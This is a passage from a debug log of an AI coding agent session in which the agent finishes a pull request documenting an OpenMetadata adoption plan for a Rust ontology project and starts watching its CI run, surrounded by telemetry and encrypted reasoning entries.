studies.\\\\n\\\\nSources and time-sensitive observations are recorded in the case-study source inventory and compact JSON snapshots.\\\\n\\\\n## Deliverables\\\\n\\\\n- `docs/case-studies/issue-5/README.md`\\\\n- `docs/case-studies/issue-5/source-inventory.md`\\\\n- `docs/case-studies/issue-5/openmetadata-analysis.md`\\\\n- `docs/case-studies/issue-5/requirements-and-solutions.md`\\\\n- `docs/case-studies/issue-5/raw-data/*.json`\\\\n\\\\n## Verification\\\\n\\\\n- `cargo fmt --all -- --check`\\\\n- `cargo test --all-features --verbose` \u2014 18 tests passed\\\\n- `cargo test --doc --verbose`\\\\n- `cargo clippy --all-targets --all-features`\\\\n- `cargo run --quiet --bin meta-ontology -- check-words README.md`\\\\n- JSON snapshots parsed successfully\\\\n- `git diff --check`\\\\n- Reproduced `scripts/check-file-size.rs` logic directly because `rust-script` is unavailable locally; all Rust files are under 1,000 lines\\\\n\\\\n## Follow-up recommendation\\\\n\\\\nBegin with Phase 1 (versioned identity and layered validation) and Phase 2 (provenance and deterministic changes). Defer connectors, HTTP, search infrastructure, and distributed deployment until their documented decision gates are met.\\\",\\\"headRefOid\\\":\\\"4dcfb8ec59e103d45b4ed0fa1f10325fea65602d\\\",\\\"isDraft\\\":false,\\\"statusCheckRollup\\\":[{\\\"__typename\\\":\\\"CheckRun\\\",\\\"completedAt\\\":\\\"0001-01-01T00:00:00Z\\\",\\\"conclusion\\\":\\\"\\\",\\\"detailsUrl\\\":\\\"https://github.com/link-foundation/meta-ontology/actions/runs/29179259847/job/86613875688\\\",\\\"name\\\":\\\"Detect Changes\\\",\\\"startedAt\\\":\\\"2026-07-12T04:08:10Z\\\",\\\"status\\\":\\\"IN_PROGRESS\\\",\\\"workflowName\\\":\\\"CI/CD Pipeline\\\"},{\\\"__typename\\\":\\\"CheckRun\\\",\\\"completedAt\\\":\\\"0001-01-01T00:00:00Z\\\",\\\"conclusion\\\":\\\"\\\",\\\"detailsUrl\\\":\\\"https://github.com/link-foundation/meta-ontology/actions/runs/29179259847/job/86613875700\\\",\\\"name\\\":\\\"Version Modification Check\\\",\\\"startedAt\\\":\\\"2026-07-12T04:08:08Z\\\",\\\"status\\\":\\\"IN_PROGRESS\\\",\\\"workflowName\\\":\\\"CI/CD Pipeline\\\"},{\\\"__typename\\\":\\\"CheckRun\\\",\\\"completedAt\\\":\\\"2026-07-12T04:08:06Z\\\",\\\"conclusion\\\":\\\"SKIPPED\\\",\\\"detailsUrl\\\":\\\"https://github.com/link-foundation/meta-ontology/actions/runs/29179259847/job/86613875968\\\",\\\"name\\\":\\\"Create Changelog PR\\\",\\\"startedAt\\\":\\\"2026-07-12T04:08:07Z\\\",\\\"status\\\":\\\"COMPLETED\\\",\\\"workflowName\\\":\\\"CI/CD Pipeline\\\"}],\\\"title\\\":\\\"Document OpenMetadata best-practice adoption plan\\\",\\\"url\\\":\\\"https://github.com/link-foundation/meta-ontology/pull/6\\\"}\\n[{\\\"conclusion\\\":\\\"\\\",\\\"createdAt\\\":\\\"2026-07-12T04:08:06Z\\\",\\\"databaseId\\\":29179259847,\\\"headSha\\\":\\\"4dcfb8ec59e103d45b4ed0fa1f10325fea65602d\\\",\\\"status\\\":\\\"in_progress\\\",\\\"url\\\":\\\"https://github.com/link-foundation/meta-ontology/actions/runs/29179259847\\\",\\\"workflowName\\\":\\\"CI/CD Pipeline\\\"},{\\\"conclusion\\\":\\\"success\\\",\\\"createdAt\\\":\\\"2026-07-12T04:01:59Z\\\",\\\"databaseId\\\":29179103369,\\\"headSha\\\":\\\"e4a**********************************43d\\\",\\\"status\\\":\\\"completed\\\",\\\"url\\\":\\\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369\\\",\\\"workflowName\\\":\\\"CI/CD Pipeline\\\"}]\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:08:41.993Z] [INFO] \n[2026-07-12T04:08:42.030Z] [INFO] 2026-07-12T04:08:42.027532Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:08:42.030Z] [INFO] \n[2026-07-12T04:08:42.047Z] [INFO] 2026-07-12T04:08:42.046572Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:08:42.047Z] [INFO] \n[2026-07-12T04:08:42.049Z] [INFO] 2026-07-12T04:08:42.047978Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:08:42.049Z] [INFO] \n[2026-07-12T04:08:42.052Z] [INFO] 2026-07-12T04:08:42.051247Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:08:42.052Z] [INFO] \n[2026-07-12T04:08:42.166Z] [INFO] 2026-07-12T04:08:42.163447Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:08:42.166Z] [INFO] 2026-07-12T04:08:42.163550Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:08:42 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"0363325a-0c17-45d2-8d1b-f766bc4679c7\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=TvvD7K7FUqUhumOxe8ZkCeaYA967btELP3Yozyth12aUvO4j8jEH1qsxQRvr8nFyf9wNx%2FqSQuC3BGwjrr1MO5tJVKEQoGVNWdaK2KstD7cBKmMRMWoR1dfMU%2Bfx\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d302eefeb92b4-FRA\"} version=HTTP/1.1\n[2026-07-12T04:08:42.166Z] [INFO] \n[2026-07-12T04:08:43.058Z] [INFO] 2026-07-12T04:08:43.057756Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53134b09488191a2ab3a10a735424c\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxNLP12AUwjuOwt-GoxmK-J141mpLoakF8rlZi7CL25jrmzIDbRhjYZW7oB_-73YQQi9UUOXgwZ3nJfbE2SQExacOV8esbxpYKKGCKuPn0i4Cpj-_dUEoPoVGZlwyiWg0wSZ2NjpZQfnizqUWs9qY4S2F8HHXa3JT3_uUpZINZ2e72WDjpUxI3prHH-X9Q3vxK8WRnMTz0Pf1PSGAokoy8FehAIIfFsUVvBIFAfBWTIajkzBzV9ALRwqoHngD8UHHVNcmSZgD-uvKT2zXt0bHDWy137_Or5rTTnvYhEx06cVsC7ehwndYLu6ubHALVGtYmRlWflDDwWEYhkyERS2hGmK-JNBhPOJqRyPg5laAk4x0525vagjcuN30B2qEVCKk0ncCMfMxB5Vt5p4QV7FkRYxuHJmum3d5ivSp2j1MdbYLgmyPBFpk8rJueKjtLJhIUZoMFWmbKcw5dGvyQTPl9xu-6g1w89lLhoVwTxojZe4CtZTxlefcDD36Qmx3e3-eIXuIVhr4itf9-Ju2gIu9lucn_uLAC8GbkJrJsNKfMK9Sx4Kv-LIi2IZ4IiO9uaT-r-7yvcRw6_bxb8uzTeyLu_z6SBoLPOgWKgXqCKWbuF0by71soKcHLCxlCaOKmHV_F0d69eL3pXy4o1fAozVX_4Uv5Njn_qYJUcnR4K_GxwHZO1jBNztxeZDUCo9kWoEt4fdjKgHbKNzME7dzvw2VyhsCL5gX4ln0q1FmcOqeDx19EEI8G0UvsqItXIxr9rcyRoksx3FGmuItPP2omgkA3b0eVj30sSdr58ltswFHKbCieOeca96CdEO32S65-skHrAI2Y4za4koSDC7A2tdfQQaIdRidd6ouJZIA2Y8PYGegfRzM9OSZbKK-6odX2Nj30TN58ubkvEbJJtuUMlqDiW43A==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:43.058Z] [INFO] \n[2026-07-12T04:08:43.870Z] [INFO] 2026-07-12T04:08:43.869662Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53134b09488191a2ab3a10a735424c\"), summary: [SummaryText { text: \"**Planning CI run monitoring**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxNLeNkRk2QPnT4jWSjN2VY4hIxf83H1A5IZ2sYzOQWPNA3-ow8NzZFRTXK_u004aqvgFa4QzVx5xCyv9kA0aXeFlcCZxAjB6iB9PfxaqQr4yNdoBPjX6oml23Zt2ONgL3QhQE96N0SgQ6lhowaVibsS7sNDNx4p5qfx4zHz0ltHyIPLECxxZ4S3mRU-GDJ_LViWtfIUQlbUDwoK4mmkHmr3QIk7BGTpra1n_OvRlOTqtawu5OOw_YIKydHIgOLaDWSfg5H4DUDk9D3aEGqmUp3GnVFYzOmmE1p_AzF31xW1B999c6lLWLklJmQbmWFJZLeWHDWwlBC-Fv5n2QyMKC1aNM65my_Z3SsLFu1Hr2Gm2aZR1HPRAs5XBlJ47EVtxBMX58PiDZolt-YMeKRW-h-2mqnK5q8bAWRo8wmlHfbY3_a0BIKAIaLtNbBW-qEO6zH3PsrYcCEappicGSTfkV_f8dGJkVaTIqyGoxsV1kuNg8-D1goWS7Cj7KdreY-iy_U0bJEP4xd_o7JwbYwMa2y6BUc_FSje8kiRWM-lygTH2o60kX0n3mp4vzUduVjo9pnesQnknJPtQRkRxewKfujxD-b5ZAJmAcJPFVjlaHXT0XPdd3sCv0rqL3TYLG9zE2ciwfYyI3f9GuHToTfEW76dRFZZ2MqyS6FOfBgZkQpxAIaTgsFslw4y-R3vrSaSsWsOfyJx9PME6d2QDtrhsPE33_orWmRHcw7AXdsgSeAU4pvxWEKFD1C_05TSx0RqiYvl0MBr23H3lCaP2o7u9PEMkirATQu-iBO28iv0zLAC3B-WuKi7wyh9W_FSGbJGPzAacddkwjzk9mnIJL8Q6VExEN__dC5ZS7zjSKQ-0oCaNb59BX3T-2W-biMt8gStLXTb9DqaSVfa8YoTcwi84kZAgKNYgSZ2_FXu4XY8fNK__eyUB5HkMtrwuKgvBSjtFHnGI6u5kdYis-6KND4or3ZE7bUMbEk1KCLORqaMKG-ijkbed8s83QXSE57_6C4iuvmNoipgL7cySU-gOvDFbZ7e9HEG5njT4--ESQb099pwiII=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:43.870Z] [INFO] \n[2026-07-12T04:08:43.874Z] [INFO] 2026-07-12T04:08:43.870324Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a53134bdafc8191a61fd5aaa9420905\"), role: \"assistant\", content: [], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:43.874Z] [INFO] \n[2026-07-12T04:08:43.875Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_55\",\"type\":\"reasoning\",\"text\":\"**Planning CI run monitoring**\"}}\n[2026-07-12T04:08:43.875Z] [INFO] \n[2026-07-12T04:08:44.884Z] [INFO] 2026-07-12T04:08:44.881804Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a53134bdafc8191a61fd5aaa9420905\"), role: \"assistant\", content: [OutputText { text: \"PR 6 is updated, pushed, and marked ready for review. The fresh CI run is correctly attached to commit `4dcfb8e` (the older successful run was only for the placeholder); I\u2019m waiting for this new run and will inspect preserved logs if any job fails.\" }], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:44.884Z] [INFO] 2026-07-12T04:08:44.882514Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a53134cdbd48191965363289064153b\"), status: Some(\"in_progress\"), call_id: \"call_Nt5vT7JL7WwMvBc4nnk8vlqo\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:44.884Z] [INFO] \n[2026-07-12T04:08:44.886Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_56\",\"type\":\"agent_message\",\"text\":\"PR 6 is updated, pushed, and marked ready for review. The fresh CI run is correctly attached to commit `4dcfb8e` (the older successful run was only for the placeholder); I\u2019m waiting for this new run and will inspect preserved logs if any job fails.\"}}\n[2026-07-12T04:08:44.886Z] [INFO] \n[2026-07-12T04:08:46.716Z] [INFO] 2026-07-12T04:08:46.710503Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a53134a0758819188bf3e6b18abb3da\"\n[2026-07-12T04:08:46.716Z] [INFO] 2026-07-12T04:08:46.710550Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=79080 output_token_count=185 cached_token_count=77568 reasoning_token_count=28 tool_token_count=79265 ttft_ms=1110 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:08:46.710Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:46.716Z] [INFO] 2026-07-12T04:08:46.710568Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=79080 output_token_count=185 cached_token_count=77568 reasoning_token_count=28 tool_token_count=79265 ttft_ms=1110 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:08:46.710Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:46.716Z] [INFO] 2026-07-12T04:08:46.710631Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.exec_command({cmd:\"gh run watch 29179259847 --repo link-foundation/meta-ontology --exit-status\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:08:46.716Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:08:46.716Z] [INFO] \n[2026-07-12T04:08:46.960Z] [INFO] 2026-07-12T04:08:46.956884Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-b81d59f8-94a0-40c6-86d8-3a8b655966f8 decision=approved source=Config event.timestamp=2026-07-12T04:08:46.956Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:46.960Z] [INFO] \n[2026-07-12T04:08:47.149Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_57\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh run watch 29179259847 --repo link-foundation/meta-ontology --exit-status'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:08:47.149Z] [INFO] \n[2026-07-12T04:08:56.941Z] [INFO] 2026-07-12T04:08:56.940411Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_Nt5vT7JL7WwMvBc4nnk8vlqo arguments=const r=await tools.exec_command({cmd:\"gh run watch 29179259847 --repo link-foundation/meta-ontology --exit-status\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:08:56.941Z] [INFO]  duration_ms=10223 success=true output=Script running with cell ID 24\n[2026-07-12T04:08:56.941Z] [INFO] Wall time 10.1 seconds\n[2026-07-12T04:08:56.941Z] [INFO] Output:\n[2026-07-12T04:08:56.941Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:08:56.940Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:56.941Z] [INFO] 2026-07-12T04:08:56.940508Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_Nt5vT7JL7WwMvBc4nnk8vlqo duration_ms=10223 success=true arguments_length=283 output_length=62 output_line_count=3 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:08:56.940Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:56.941Z] [INFO] 2026-07-12T04:08:56.940781Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_Nt5vT7JL7WwMvBc4nnk8vlqo tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=10223 total_duration_ms=10223\n[2026-07-12T04:08:56.941Z] [INFO] \n[2026-07-12T04:08:57.015Z] [INFO] 2026-07-12T04:08:57.013880Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:08:57.015Z] [INFO] \n[2026-07-12T04:08:57.022Z] [INFO] 2026-07-12T04:08:57.020550Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:08:57.020Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:57.022Z] [INFO] 2026-07-12T04:08:57.020602Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:08:57.020Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:57.022Z] [INFO] 2026-07-12T04:08:57.020617Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:08:57.022Z] [INFO] \n[2026-07-12T04:08:59.363Z] [INFO] 2026-07-12T04:08:59.363259Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53135b54388191862a5e7711049f39\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxNbaos_XHWfGMHxYoqtD3DxJ7cv1sTbX4kLr0PyaDTJaSCUGWNZPswlPZvvR8X702xZY8CIvHQ072MjpieZsEgblrv5i3BULaWqsgDmvQ507OEFcJj_ilTFtNx6KxPtrmDq5PdSofvMb-kdyxjF1Ai1LywzGWeQNxLyD2hbcTQjkv6oj_4iB8tNiEjBlQOKvLEVHrz-Tt-08iem86uM-5mj5HQmQWtmN6lNpz5fwI1HFdO5G7vPN9pdY-smhLcBtWtbHdghTzEgbYC2yYj8GJR_J30oQDq0RjE9LdMKuDfbHgbyCKPhaiZRdJY7aZOC7QQSyBOZFCAt59eKN-JsVNpC0W_VylpoTHwXv7eZFUIUrjHDZIAbxXd9WqFkxSCxhEntSQTAw2IOoOx9IA-_Xe3aJ2GVY_78R3CnYTbNjuMT3ODuUu3yv054KlYDKlvMlgE-f5XvbB8c0Zw_2DbW1SQhcmckZgijBVuZDkT0bDtfyLHZekmjnsxbJDrMpGMlsPTHVcSpnuPfjdKGE8RvN4McP0LTJSo_ZbsqEzIGOFpTSA0jrIHe8_ysUPXRZ9Py6HLuSc57QAbvnYQEEI-pTDQW2zXWeO5hxaMuemQohpVyiq7idnu3Pgdts3uIqk5xjZUvxmYvwId2UXjBcSc3mQ15IXOprqPxKtIhdDw3bh3sJ_T5YCkbJCdGfo64cFwcJTQ4bmUgRL6FhQIXBHBM-z3MPol-CGGYEIlA_-ssyFWorK-BMwXHa4p1RywfvuH9T3xqR8Wxq8Hxlvn0KQ6ymcikXgCQABs7VQrRmiZ3axlUHSaXNN28dYvDTAGAkXxOtc3cyweHb5JCTO3FeBZKHfQpWBMpVdificKzpfxRwCCfhcyxgI0PdwDw1gbCvKv7TJhGLB-J7yf94dzeLt6wUo5ceA==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:59.363Z] 